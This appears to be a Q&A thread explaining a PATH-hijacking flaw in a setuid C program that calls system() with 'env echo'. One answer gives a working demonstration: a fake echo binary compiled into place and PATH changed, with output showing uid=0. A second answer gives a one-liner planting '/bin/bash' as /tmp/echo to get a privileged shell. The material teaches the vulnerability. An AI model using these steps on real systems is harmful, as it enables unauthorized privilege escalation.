What is vulnerable about this C code?

You can override the PATH variable to point to a directory with your custom version of echo and since echo is executed using env, it isn't treated as a built-in.

This constitues a vulnerability only if the code is run as privileged user.

In the example below file v.c contains the code from the question.

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

Note that the setting of real user ID, effective user ID and saved set-user-ID by a call to setresuid() before the call to system() in the vulnerable code posted in the question allows one to exploit the vulnerability even when only effective user ID is set to a privileged user ID and real user ID remains unprivileged (as is for example the case when relying on set-user-ID bit on a file as above). Without the call to setresuid() the shell run by system() would reset the effective user ID back to the real user ID making the exploit ineffective. However, in the case when the vulnerable code is run with real user ID of a privileged user, system() call alone is enough. Quoting sh man page:

If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS variable, if it appears in the environment, is ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

Also, note that setresuid() isn't portable, but setuid() or setreuid() may also be used to the same effect.

well actually on the system function call you can mess with the echo command. for example if you execute the following code :

echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

you will get a shell with the file owner permission